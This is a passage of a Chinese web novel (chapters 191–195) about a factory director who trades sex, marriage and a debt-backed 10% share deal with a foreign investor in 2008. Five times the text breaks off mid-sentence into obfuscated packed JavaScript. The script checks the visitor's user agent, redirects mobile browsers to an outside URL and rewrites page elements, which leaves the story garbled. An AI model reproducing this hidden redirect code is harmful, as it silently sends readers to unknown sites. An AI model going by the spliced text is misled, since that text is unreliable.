“30年前的今天?”女工说,“我就正常上班下班啊。普普通通的一天。没发生什么特别的事情。” “谁知道现在想来,我们的命运全都改变了呢。”她摇头。 “但是是往好了变的。” “那肯定,那会一年挣300,现在一个月就能挣2000,日子好多了。” “如此生活三十年,直到罗桑厂停产……哎!不提也罢。” “下个月工资还不知道在哪。” “县里安排了招工,挺多人去广州,那边待遇好。但我在罗桑厂干一辈子了……还是想等一等罗桑厂。” “也不能厂子一出事,我就走啊。干一辈子了,多少有感情,想共渡难关。” “我们这些工人,今天自发组织起来,回厂打扫卫生。不知道什么时候能复产,问题是,干一辈子了,闲不住,也不能干等着啊。得做点什么。” “行了,不说了,走了。” 她拎起红色水桶。 …… 红色网球裙的后腰破了个洞。罗璇扯了扯毛衣,试图掩饰。 江明映正在活动手腕。罗璇注意到他手上戴的雪白护腕,有一个小小的、不明显的奢侈品logo。 她的目光循着微微闪烁着光泽的T恤面料落下去,落在他筋骨分明版型优越的运动长裤上,口袋的两颗纽扣镌刻着低调的品牌图案。 他转动身体,看似低调的衣服光泽暗涌,浮光跃金。 罗璇想起电视上遥远的奢侈品秀场。 体面尊贵的人们簇拥在一起,欢呼鼓掌。砰的一声响,碎金纸从天空纷纷洒落。高脚杯,香槟酒。盖住布料的针脚。 罗桑县的风带来罗桑河的臭味。工厂大门上贴的“庆祝改革开放三十周年”的红纸啪啪作响。 “……这里多浇几盆水,泥太多。”有工人扯嗓子喊。 罗璇又摸了摸网球裙后腰的洞。 那个洞似乎大了些。 罗桑县是世界运动服之都,别说网球服,就连水球服、壁球服都有。但江明映从不穿罗桑县做的衣服。 奢侈品啊。 罗璇有些不服气地想,若是从前,他身上这几件运动服,这样的工艺和制版,罗桑县未必做不出来。 可如今…… 罗璇又拽了下毛衣,盖住后腰的破洞。 …… 江明映发球,罗璇还击。两人有来有回地拉了几个底线回合,罗璇突然放了个网前球,江明映没接到。 他抱着球拍走到网前:“很不错的小球。” 罗璇点点头:“是很不错。对于罗桑厂来说,新红星厂规模小;但新红星厂的机器,厂房,地皮,都是新的。” 江明映点点头:“给你百分之三的股。” 罗璇说:“百分之三的股,微乎其微,我说的话也没人要听。我要百分之十的股。” 江明映说:“罗桑厂什么估值、什么规模、什么业务量?你的新红星厂,又是什么估值、什么规模、什么业务量?我愿意给你百分之三的实股,不是干股也不是虚拟股,你应该知道,我开出的条件已经相当优厚,我很有诚意。” “你确实很有诚意。”罗璇抱着球拍点点头,“但新红星厂毕竟是我的命根子,我不太想填到罗桑厂里面去。我不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330412|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你,你也不能把刀架在我脖子上逼着我给。”、 罗璇自然是想兼并成功的,但谈判,不能把底牌亮给对方。 江明映挑眉笑了:“你觉得,你用这种小球,真能杀我?” 罗璇说:“那要打起来才知道了。” 两人你来我往地又打了好半天,依旧压着底线打,罗璇用力过大,把球打到了场外。 江明映走到网前:“你对新红星厂的定位,用力过猛。” “如果刚刚的球你接住了,就不算我用力过猛。江明映,我是潜力股,你为什么不投资我呢?请你借我钱,给我百分之十的股,这些借款,从我未来的股权分红里面扣。” 江明映又微笑:“眼看着你这个球就是出界,我能赢,我凭什么接?我又凭什么借?” “因为我们打网球的目的不是输赢,而是把球长长久久地打下去,这样双方才都愉快。”罗璇说,“江明映,我们不是你死我活的关系,这也不是竞技。我们是合作关系。” 江明映微微挑眉。他瘦长精明的脸仰起,在阳光下,注视着罗璇。 片刻后,他颔首:“有道理。” 这次,两人谁都没杀谁,一口气拉了十几个回合。 球落在地方,骨碌碌滚远了。一个小孩不知在旁边看了多久,见球掉在地上,竟是捡了就跑。 罗璇在背后“喂喂”两声,无济于事。 江明映用球拍一下一下拍着胳膊,笑道:“你让我借你钱,那么你一天还不完钱,我就得一天保你做罗桑厂厂长?我是冤大头吗,我出钱,我还要保你平安?” “也可能是我保你平安。” “**那事?” 罗璇摇头。她指了指那个抢球跑远的小孩。 江明映眯着眼看过去。 “江明映,你带着这么多钱过来,各方上下,里里外外,那么多神仙,稍微做个局给你,你就是一头小肥羊。”罗璇指着小孩背影,轻声说。 江明映不语。 “而我不一样。你很清楚我的出身,有本地关系,但又不算大靠山。我给你做厂长,是你最好的选择。而且,你借钱给我,我们就算彻底利益捆绑,对你而言,你用我放心;对我而言,别人不能轻易换掉我。我们是双赢的。” 一口气把话说完,罗璇抬眼,看见江明映已是面沉如水。 “我累了。”江明映披上外套,“我休息一会。” 他凝神思索,一言不发。 第191章 太子奶小肥羊&我们约会吧 罗璇去买水。 站在报刊亭门口,她紧张地把五根手指头抠进网球拍的网线,抓来抓去。 她不知道江明映会不会答应她的条件,会不会改变主意、会不会不想兼并新红星厂——现在是她更需要新红星厂被兼并——欠债2000万! 2000万!我天呢! “太子奶打折。”女老板说,“买一送一。” “两瓶水。再给我来两盒太子奶。”罗璇警惕,“等等,为什么打折,不是临期的吧?” “不是。”老板指了指电视。 报刊亭上的电视正在播:“太子奶集团仅将土地抵押给花旗银行5天后,花旗银行在北京高院提起诉讼,要求太子奶提前偿还全部贷款,导致太子奶陷入债务危机。随后,英联投资、摩根士丹利、高盛三大投资银行与太子奶签订协议,声称再注资4.5亿元,骗取李途纯61.6%太子奶股份……” 女老板抱着手靠在橱窗边:“太子奶被人盯上,做局抢走了嘛。” …… 罗璇抱着两瓶水两盒奶回到网球场,放在江明映旁边。 江明映看到太子奶,浑身一震,意味深长地看着罗璇:“你在警告我?因为我搞不定本地关系,就会变成多方势力的小肥羊?被人盯上做局?” 罗璇微怔。江明映点点头:“你消息倒是灵通,知道这件事背后的黑手到底是谁。”他看着罗璇,“谢谢你的警告。我听进去了。” 罗璇什么都不知道。 但她成熟敏感、谨言慎行地露出高深莫测的微笑。 江明映站起身:“今天打得很愉快。” 对于分股的问题,他也不说答应,也不说反对。不该说的话别说,不该表的态别表——罗璇算是学到了。 她弯腰收拾球包,后腰一凉,才想起衣服上破的洞,急忙把毛衣向下扯了扯。这一动不要紧,她清晰地听见布料“刺啦”的一声,裂开了。 罗璇深吸一口气。 下一秒,一件外套轻柔地披她在身上,江明映在头顶笑着解围:“我还以为是后腰挖洞的新设计。” 罗璇按住江明映的外套。 江明映体贴的时候,从行为到语言,都让人如沐春风。 家丑不可外扬,罗璇说:“就是新设计。” 江明映很有眼色地没再继续谈论。 罗璇站起身。 可江明映没有像以往那样拉开距离,而是站着没动。于是,等罗璇站起来,才发现。两人之间的距离,似乎有些过近了。 罗璇后退了半步。 江明映没动。他手插着口袋,慢慢说:“你等下有什么安排?” 罗璇听出些不一样的滋味。 她希望江明映兼并新红星厂。她希望从江明映那里借一大笔钱。她未来的事业,很有可能和江明映捆绑。而江明映有50%的可能性支持她。 于是,罗璇说:“我没有安排。” 于是,江明映微微笑了。 “那我请你吃饭,好不好。” 罗璇这才注意到,天色已经晚了。夕阳大片大片漫溢上来,似血,到处都是幽暗的红色。但光芒尚未全消,余晖的碎末涌动在空气中,浮光跃金。 她点点头,直视着江明映:“你是请罗厂长吃饭吗?” 江明映看了她一会,明白了她的意思。 他想了想,露出英俊得无懈可击的微笑: “我想和你约会。” 他笑着说。 …… 罗璇觉得有点意思。 一个光鲜的、无懈可击的、浑身奢侈品的男人,请求和一个衣服上破了个洞的女人,约会。 她做了这么久的生意,被人骗,也骗人,雪灾见过,**见过,夺过权,搞过清洗,揍过人。人心幽暗如峡谷,不知渊深几许。如果天上掉下来一个哪里都好的男人,只是和她打了局网球,就对她一见钟情、爱得死去活来,那么他不是杀猪盘,就是割腰子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347187|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江明映是一条精明、势利、自私的鬃狼。 可是,难道她现在就不精明、不势利、不自私了吗。 这里没有受害者。只有两个心怀鬼胎的成年男女罢了。 罗璇笑了:“好啊。” …… 深夜11点半,办公室的灯还亮着。 老戴猛地推门进来,赵**吓了一跳:“老戴!发生什么要紧事了?大半夜的!” 老戴笑得神秘兮兮:“你猜我刚刚看到什么了。” 赵**看了眼时间,骂道:“你就会吓我!你能看到什么,狗嘴里吐不出**!” 老戴立刻庄严脸:“老领导,您侮辱我的人格可以,可不能侮辱我刚补的门牙!就我这点工资,嘿,补牙顶我辛辛苦苦干半年呢!” 赵**挥手:“走开,走开。罗桑厂上一批网球裙被人说质量差,记者要写报道骂我们,报社打电话给我,我正头疼这事!你找个时间请人家记者吃饭,解释一下罗桑厂停产的事。郑厂长那王八蛋!罗桑厂下个月工资还没着落,钱呢,钱从哪里来?” 老戴又笑了。他低声说:“老领导,我啊,看见那个外商江明映,和罗璇一起吃饭呢。” 赵**面无表情,手里的笔却悄悄敲起了桌子。 老戴嘿嘿一笑:“都是年轻人。小罗呢,穿一件红裙子,特别好看,身上披着小江的外套。小江蛮体贴,帮小罗挡风拎包,嘘寒问暖,长得一表人才,啧啧,是个好青年。” 赵**打趣:“之前口口声声江明映、江明映,现在就变成小江了?你算什么,老丈人看女婿,越看越顺眼?” 老戴说:“小江以后就是罗桑县女婿了,以后本县招商引资,产业升级,拉升经济,他能不帮忙?小罗个高、漂亮、有文化,是咱们罗桑县的好姑娘,我一算,小江真是个好归宿!” 赵**长长地“嗯”了声:“照你这么说的话——这两个年轻人,确实般配。” 第192章 阅读理解0分&俄乌天然气争端 罗璇刚一到家,打开灯,楼下传来两声车子鸣笛。 她撩开窗帘,向下看去。 罗桑县大大小小的工厂都是24小时开工,夜晚向来灯火通明。江明映靠在黑亮的车身上,远处无穷无尽的灯光照在他身上,光华转动,流光溢彩。 罗璇挥了挥手,他转身上车。 拉上窗帘,罗璇刚坐下,江明映的消息就追了上来。 “我过两天要去东南亚和非洲出差,月底能赶回来。跨年夜有没有安排?” 罗璇想了下,回复他:“没有。一起跨年?” 江明映立即回复:“你喜欢喝酒?今天要开车,所以没陪你。跨年的时候补回来。” 罗璇谈不上喜欢喝酒。她只是单纯被事情扰得心烦,需要用酒精强制大脑关机。 但是她回:“我很期待。” 几秒钟后,江明映回复:“期待喝酒,还是期待和我喝酒?” 罗璇觉得有点棘手。 她打字:“期待跨年。” 江明映回复:“阅读理解0分。” 罗璇没想好怎么回复。几分钟后,窗外又传来两声鸣笛。 她没有起身,也没有开灯。考虑半晌,她把手机一丢,不打算回了。手机在床上滚了几圈,屏幕熄灭,没再亮起来。江明映也没有再回复她。楼下传来车子发动机启动的声音。 车子远去了。 罗璇坐起身,撩开窗帘的一个角,看出去。 但她只看到自己的脸。 …… ——什么是爱? “渴求,追逐,睡。”罗璇听见自己说。 ——爱是什么? 罗璇想起自己向江明映提出的,借钱分股的大胆请求。 扪心自问,她真的是为了债务而逼不得已吗?不是。她只是单纯地渴望更进一步罢了。想往上爬,不想被踢下桌。她看到了某种可能性,伸出手,发现并非难以触碰。于是她渴求、追逐。 好风凭借力,送我上青云。 罗璇喝了酒。她注视着玻璃反光中自己的脸。她想起父母为什么结婚,而她,又是为什么而出生、为什么而存在。 罗璇看着自己。 初闻不识曲中意,再见已是曲中人。 现在,她是红星厂厂长了。 现在,她想要的不止于此。 祝峻说得没错。她和她的母亲姐妹,其实如此酷似。大自然赋予女人神秘又伟大的繁衍能力,这种能力如此神奇:一个子宫,可以把四个女人牵连作一处,成就命运的必然。 罗璇放下窗帘,关了灯,睡着了。 …… 江明映再次从噩梦中醒来。 他看着把自己弄醒的苍白飞机顶灯,一时间不知道身处地球的哪个大洲。 飞机迅猛颠簸。 ……Charles用力摇晃手里的酒杯,烦躁地说:“我不信。那个女人,我们不过偶遇,她是我喜欢的类型,我去追求她,你情我愿,怎么能是性贿赂呢?” “因为你就不该碰供应商送给你的女人!” “她不是供应商送的女人!” “她就是!”江明映暴躁地说,“认清现实吧,她自己都承认了,她收了钱的,做局设计你,只有你自己是个愚蠢的爱情傻子!” Charles把脸埋在手里。 许久之后,江明映发现他哭了。 “哭,你哭个屁。”江明映把西装拎在手里,告诫他,“我来是想告诉你,宗先生认定你和那女人联手做局,**他的财产。你完蛋了。宗先生从不好惹,你有哭的功夫,好好想想怎么和宗先生解释吧。” 他转身离开。 “Adrian!”Charles追上来,扯着他,慌张地说,“你会帮我的,是吧。我不会进监狱的,是吧。” 江明映被扯得站住。他转过脸,叹了口气:“你在说什么?我当然会帮你。你我十多年老友。但你首先要自救。” Charle松了口气,江明映拂开他的手,大步走开。 纽约的晚风微凉。江明映看着眼前似乎永无尽头的灯火辉煌。写字楼鳞次栉比,空气中涌动着金钱的味道。 他面上的同情渐渐散去。 江明映掏出手机,找出Chrales在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347188|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各个平台上所有的联系方式,耐心地逐一拉黑、删除。 …… 江明映掏出手机,看着罗璇的联系方式。 从那以后,他对出现在身边女人,总抱有十二万分的警惕。 当然,这种警惕,不针对所有女人。 只针对,他喜欢的类型。 …… “娇姐,全天下我喜欢你——的菜!”关系王边嚼边称赞,“手艺当真没话说。” 红星厂里,娇姐擦了擦手,把最后一盘菜端上桌,坐下来吃饭。 “快吃,天气变得好冷,等下就凉了。” 罗璇却说:“娇姐,以后炒菜这种事情,不需要你来做,你帮我把财务盯好就行。” 娇姐开过饭店,脑子灵光,罗璇把她请来红星厂给自己当副手。 “别呀!”关系王叫起来。 “只是嘴上夸两句有什么用,你又不付钱。”罗璇皱眉,“娇姐这样的人才,不能浪费时间在白做饭上,除非是开饭店。” “有账期,我拖两个月再给不行吗!”关系王怪叫,“我买的俄罗斯天然气工业公司的股票暴跌,我得等着解套啊。” “你调仓到天然气了?” “我这是价值预判。天然气毕竟应用在各行各业,更何况,谁天冷不采暖呀。”关系王伸手打开电视新闻。 新闻下滚动着一行字: 俄乌天然气争端 “……国际金融危机严重影响了俄罗斯天然气工业公司,导致公司股票暴跌,资产缩水,公司运行艰难。” “……国际金融危机严重影响了乌克兰。乌克兰拖欠俄罗斯的天然气货款。截至目前,拖欠总额高达21.18亿美元。” “……俄罗斯利用金融危机,在能源问题上压制乌克兰,迫使其软化立场,调整对俄政策。” “……俄罗斯天然气工业公司与乌克兰国家石油天然气公司关于2009年供气合同的谈判破裂。” 关系王伸手拍大腿:“神仙掐架,小鬼遭殃。你说俄罗斯和乌克兰,挺大的国家,怎么就盯着我手里这点股票收益不放呢?” 第193章 用低息消费贷置换**&淘宝?**的吧? 关系王放下筷子,长叹一口气。 “报刊亭是开不下去了,现在全球股市也稀巴烂。要不,我进罗桑厂吧。” “发不出工资。”罗璇简洁地说,“进来也行,跟我一起找钱。找到钱了,你就有工资领。找不到钱,咱们一块饿着。” 关系王惨叫一声。 “你不是关系王么。”罗璇越想越觉得可行,“公关经理啊。” “王经理完蛋啦。”关系王惆怅地说,“现在除了你,谁还收留我?那些工人,拿我撒气呢,一个个看我,鼻子不是鼻子、眼睛不是眼睛的。我以前也是县城婆罗门、罗桑县**子弟,现在完啦。成黑五类了。” “但我看你心情还好?” “**好些人,老王中风了,现在话都说不利索,好些工人被王经理**,现在一屁股烂账,所以我觉得我还好。”关系王吃了口菜,“再说,心情不好也没用。人啊!怎么都得活着。开心也是活,不开心也是活。” “不算**。”罗璇收拾碗筷,“工人欠了那么多债,我们要想办法帮他们化债。不然县里非闹起来不可。” “怎么化债?发钱?” “哪来的钱。赵**在出面谈银行,用工人在罗桑厂的集资干股打包担保,给工人发低息消费贷。”罗璇把碗筷放在水龙头下,“利率2.5%,让工人先把**置换了。你知道**多黑心,40%都有!” “低息消费贷也是贷款,是贷款就得还啊。王经理和郑厂长耗费掉罗桑厂两代人的财富!所以只能牺牲这一代人吗?” “闭嘴吧,说这些有什么意义,吃都堵不住你的嘴。” 关系王点点头,又问:“说起这些贷款的工人,你大姐在Cythnia的公司找了份工作。” 罗璇这才想起,自从那日被**,她和大姐就再没见过面,中间只是偶然通话了几次。 这段时间——她打开手机,只看到自己联系大姐的几个未接电话,和大姐联系自己的几个未接电话。 这段时间,姐妹两个都忙,没再联系过。 她发消息:“大姐,元旦假期回家吗?” “不回,忙。”罗珏回复她,“我1月份去之河市纺协开会,到时候会回家。” “好嘞,我等你。”罗璇回复。 …… “你忙成什么样,都不接我电话?!”林招娣在电话对面大骂。 还没等罗璇说话,林招娣又斩钉截铁:“我们红星厂的淘宝店有订单了,你赶紧安排人发货。” 罗璇“啊”了声:“订单数量?你卖多少件了?” 做零售端?红星厂从不做零售,卖出几十一百件,要去哪里找人打包发货,占了人力又是一笔支出,里外里算下来,这成本根本就划不来。 林招娣喜滋滋:“1件!” 罗璇:“……啊。卖了多少钱?” “样衣。对方是公司搞团建,要订集体运动服,让我先给他寄一件样衣,领导满意了,就大批采购。” 罗璇一听:“合着没钱赚,还白送啊?!” “放屁,你懂做生意还是我懂做生意,做生意就是要讲人情,有来有回!”林招娣骂她:“我跟买家聊了三天了,才有这个机会!你给我赶紧寄出去!我把地址发给你!” 罗璇记地址。 “收货人叫黄鹤,地址是江南皮革厂。” 互联网上交易,双方都不见面,又不收钱,罗璇觉得不靠谱。 林招娣斗志昂扬:“我告诉你,这只是个开端,以后我这淘宝店铺,只会越做越大、走向辉煌!” 算了,反正就一件。 罗璇暗搓搓地阴阳:“以后卖你保健品。” 林招娣没听懂,挂断电话。罗璇依言去寄走T恤。 对方从此杳无音讯。 黄鹤一去不复返,白云千载空…… 罗璇住了嘴,安慰林招娣:“他还会回来的,带着一大笔订单。” 林招娣忿忿:“他再回来,撕烂他的嘴!” 窗外,大喇叭反复播放:“江南皮革厂倒闭啦,王八蛋老板黄鹤带着小姨子跑啦!全场商品,全部一折,全部一折……” 林招娣又说:“我没觉得他骗我!我会做生意还是你会做生意?我有本事还是你有本事?” 罗璇说:“目前来说,是你。” 这话她倒是真心的。 正说着,手机消息提醒想起来,是江明映的短信。 罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347189|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璇点进去看。 江明映提醒她,跨年夜两人有约。 …… 江明映发过消息,把手机丢回口袋。 他和Nate坐在机场,两个人都有些疲倦。 Nate说:“如果说勤劳、聪明、温顺、服管这四种品质会出现在同一个人身上的话,那么这个人一定是个中国人。” 短时间内把非洲、印度和马来西亚都跑了一遍以后,两人都彻底放弃了对更廉价劳动力的幻想,重新飞往中国。 江明映摸了把后脑,那里留了一块小小的疤:“这只能说明你还不了解中国人。中国人只是对待客人礼貌,但其实非常不好惹。” “有道理。”Nate看着江明映,忽地刻薄道:“Adrian,听说你没搞定本地关系。” 江明映耸肩:“但我职位依旧比你高。” Nate微笑道:“这个职位,给的是你背后站着的宗先生。我记得,宗先生是Charles的客户,是他把你介绍给宗先生认识。Charles入狱以后,宗先生自然由你接手,Charles的职位也给了你。” “所以。”Nate说,“Charles是被你拉下来的,对不对?”他盯着江明映。 江明映看着金发蓝眼的Nate,露出无懈可击的笑容。 “羡慕吗?”他轻飘飘地说,“是你不想这么做吗?是你不想杀了我吗?” 他转过脸去,靠在椅背上,依旧笑着:“是你没这个本事。” Nate歪着头:“是我暂时还没机会。” 远远看过去,两人谈笑风生,穿一式的黑色西装外套,亲如兄弟。 …… 罗璇把黑色运动长羽绒服套在身上。 2008年最后一天,挺冷的,风有点大。 考虑到要去县政府开会,考虑到罗桑厂停产、工人没钱可领的现状,她特意选了非常朴素的款式。没化妆,长发盘在脑后。 出门前,她看到熨烫平整的裙子挂在客厅里。 这是她特意为晚上约会准备的裙子。 罗璇伸手碰了碰,转身出门。 她没什么表情。 门关上,黑色裙子在客厅里缓缓晃动。 第194章 黑裙子的玄机 楼下停着一辆黑色的车。 这天没有太阳。因此,黑色的车身并没有亮晶晶的太阳反光。幽暗的光流过,江明映穿着一件不显山不露水的黑色大衣,肩线、背线皆挺括,金色纽扣是做旧的,哑光。看不出牌子。 但这样的面料和辅料,罗桑县的供应商是备不到货的。 江明映靠在车旁发消息。 看见罗璇,他抬头微笑。 罗璇扯了扯黑色羽绒服,走上前去招呼:“你回来了?” 江明映点点头:“我送你。” 罗璇指了指他手上露出金色腕表:“我和你约的是晚上。” 江明映又笑:“我想起你现在还没司机用。” “司机是配给罗桑厂厂长的。”罗璇说,“我还没想好。毕竟,你还没答应我。” 江明映替她拉开车门:“你觉得我会不会答应你?” “这是相互的。”罗璇说,“你答应我,我就答应你。你不答应我,我就不答应你。” 车门打开,热烘烘的暖气扑出来。 罗璇上了车,坐在副驾,系好安全带,把资料抱在手里。 江明映脱了大衣,坐上驾驶座,把衬衫袖子挽起来。 “东西抱着不累吗,我帮你放到后面。” 他突然转脸对罗璇说。 说着,他俯身过来,伸手拿走罗璇手里抱着的资料袋,拧身放在后排。 一瞬间离得很近,又迅速拉开距离。 半秒钟。 江明映很显然有长年运动的习惯,伸手间,小臂的肌肉线条非常漂亮。皮肤被阳光晒得均匀。很克制的一丝香水萦绕上来,没闻过的味道。 不是立华集团茶水间里“三步一蔚蓝”“五步一Theone”。 罗璇想起自己昨晚特意准备、放在黑色裙子旁边的香水。 江明映看着她,语速很慢:“意思是,只要我答应你,你就答应我?” “百分之十的股。”罗璇用后背抵着座椅靠背,鼻尖嗅到皮革味,心脏砰砰砰砰狂跳起来。 “我答应你。”江明映直接说。 轰的一声,罗璇冒出一身热汗。成了。她觉得真皮座椅热烘烘、软绵绵的。想必江明映开了座椅加热。她拉开黑色羽绒服的拉链,里面是一件黑色圆领毛衣,露出点脖颈皮肤。江明映漫不经心地扫了一眼,转开目光。 一对利益绑定的男女各自忙着想自己的心事,都没说话。 江明映把车子缓缓停在县政府门外:“什么时候结束?我来接你。” “我要先回家换衣服。”罗璇说,“你到我家来接吧。” “你身上穿的就已经很好。”江明映很虚伪地做出称赞的姿态,“放松些,又不是见客户。” 罗璇说:“就我家楼下。” 江明映立刻答应:“好。” …… 这次县里开会,对罗桑厂意义比较重大。 在中国的外商投资公司向来有税收政策优惠,而政策每年调整。今天是2008年12月31日,一些新优惠政策将在2009年1月1日施行。张东尧从之河大学请了专家,和研究院的人一起,带着众人仔仔细细地研究过国家和省里的税收优惠政策。 老戴看着罗璇:“……如果能引来江明映的注资,算经营账,罗桑厂就能省下不少钱。” 他笑得很慈祥。 罗璇了然。 张东尧还想说什么,老戴挥挥手:“今天跨年呢,都忙自己的去吧。该谈恋爱谈恋爱。” 散会了。 罗璇回到家,洗了头发又洗了澡,赤裸着身体走到客厅,顶着湿漉漉的头发,抓起香水对着自己猛喷七八下。然后化妆。 吹干头发,香水散发到中调,味道消散大半,一切都刚刚好。 罗璇站在穿衣镜前,和赤裸的自己定定地相对。 她年轻,匀称,健壮,美丽得像一头猎豹。 她会像猎豹一样,征服自己想要的一切。 罗璇拎起那件黑色裙子,手法轻柔地套在身上。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15349179|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>2008年的最后一天,天擦黑得早。气温比白天更低。 罗璇在黑色裙子外套了件黑色毛衣,将纽扣一丝不苟地扣到下巴,又穿上长及脚踝的黑色大衣。走出楼门的时候,依旧是黑色的车等在夜色中。 依旧是等在车旁、穿着黑色大衣的男人。 只是夜深了,江明映的脸色晦暗不清。 罗璇坐上车。 …… 车子上了高速,拐下高速,又开了很久,停在一间不显山不露水的院子前。江明映刷卡,门开了,其内流觞曲水、别有洞天。 没有其他客人。江明映包了场。 江明映又说:“师傅是从淮安请过来的,你试试他的手艺。” 他绕到罗璇身后,替她脱下黑色大衣。 罗璇早先跟在宗先生身边做顽主,吃喝玩乐都见识过,听说江明映从外地请师傅来,倒没什么可惊讶的。 她对服务很满意。这里的服务员都很安静,存在感低得几乎没有,只在需要的时候出现。用金钱购下人类的自我,这是一种安静的奢侈。 江明映举杯:“说好了陪你喝酒。” 他没提等下还要开车。罗璇也没提。 她举起杯,和江明映相碰。 饭后已是深夜。罗璇谈着笑着,垂下头,闻到自己黑色毛衣深处一股一股透出来的香水味。热腾腾的,染着体温。 院子里越来越安静。罗璇知道,这是个很私密的会所,而会所里,都有套房。 她抬起眼,看着江明映,解开黑色毛衣最顶端的纽扣。顿了顿,她解开第二颗。旋即又解开第三颗。 江明映的手微微凝滞。 第四颗纽扣下面,依旧没有任何布料。罗璇慢慢解开全部毛衣的纽扣。江明映的直直地看着她。罗璇脑中浮现出黑色裙子的样子:这条黑色裙子,上半身几乎完全镂空。 江明映站起身,动作很快地脱下自己的外套,丢着盖在她身上。 然后毫不迟疑地伸手拥住她。 第195章 一场婚姻 一切都如罗璇的预期,有条不紊地进行着。 套房很安静。窗外传来流水的声音。月亮被云层掩盖住,迷迷蒙蒙的。 江明映的手从罗璇的脖子后绕过,解开她的裙子。 “……我们结婚吧。”江明映在暗色中说。 罗璇伸手搂住江明映的脖子。天地颠倒了,微微晃动。 窗外迷迷蒙蒙的月色也跟着晃动。 安静的房间很适合思考,她想,她成功地隐瞒住新红星厂2000万负债,待罗桑厂兼并新红星后,这笔债务完全可以找时机化掉。 江明映的手臂撑在她身体两侧。他额头的汗滴在她的胸口。 罗桑厂还可以享受外商投资公司的税收优惠。算运营账,能省下好大一笔钱。对了,清远那边还有块地皮,是否也能享受同等优惠?应该谈清楚。 江明映垂下头,舔舐她胸口的汗珠。 外面的风变大了些,波涛荡漾。罗璇觉得房间里开始变得闷热。 百分之十的股,当然是非常优厚的条件,但江明映并非做慈善,罗桑厂不可能事事找他要钱,罗璇也不打算把自己做成江明映的傀儡。下个月工人工资怎么解决?后面的钱去哪里找?新的营收点在哪里?而且,营收以后,她就真的甘心如实分成给他吗?开玩笑,当然不甘心。怎么把罗桑厂抓在自己手里呢? 不过,眼下,她既然与江明映利益捆绑,自然是捆绑得越深越好。 “当然,我们结婚。”罗璇说。 很远的地方忽然传来噼里啪啦的爆竹声。几簇烟花绽放在深黑色的夜空,短暂地照亮了晦暗不明的房间。 2009年来到了。 …… 风簌簌吹过林木。竹影飘摇。 江明映把头埋在罗璇的颈窝。他的手臂很用力地箍住她。 在最后的关头,江明映说:“我爱你。” “我也爱你。”罗璇说。 她留意到,竹影的顶端,有一个小小的盘旋的黑点。大概是飞虫,抑或别的什么。 …… 第二天一早,2009年的第一天,江明映拿了张单子给罗璇:“送给你的。先过户还是先领证。” 罗璇扫了眼。单子里有几套房,也有两台车。房子后面备注了地址。 没有戒指,没有金饰,没有任何传统的、俗气的、喜气洋洋的、代表古老爱情的可爱小玩意,但罗璇不在乎。她要的也不是这些。 “百分之十的股要确认下来。”罗璇把单子扣在一边。 江明映包里拿出一串钥匙,随手塞进罗璇的口袋:“协议已经拟好,我们双方法务碰过以后,没有问题,你就能签。” “你不后悔?”罗璇说,“我拿了股,是真的会做决策哦。” “是你不要后悔。”江明映说,“别忘了,股本是我借你的。负债的是你。” “我有什么好后悔的。”罗璇坦然,“欠钱的是大爷,一天还不清,你就要一天保住我的位置。” “我也没什么可后悔的。”江明映也坦然,“我是一个商人,不是慈善家。我想你明白。” 罗璇点头:“我都明白。我都接受。” 江明映说:“你明白就好。” 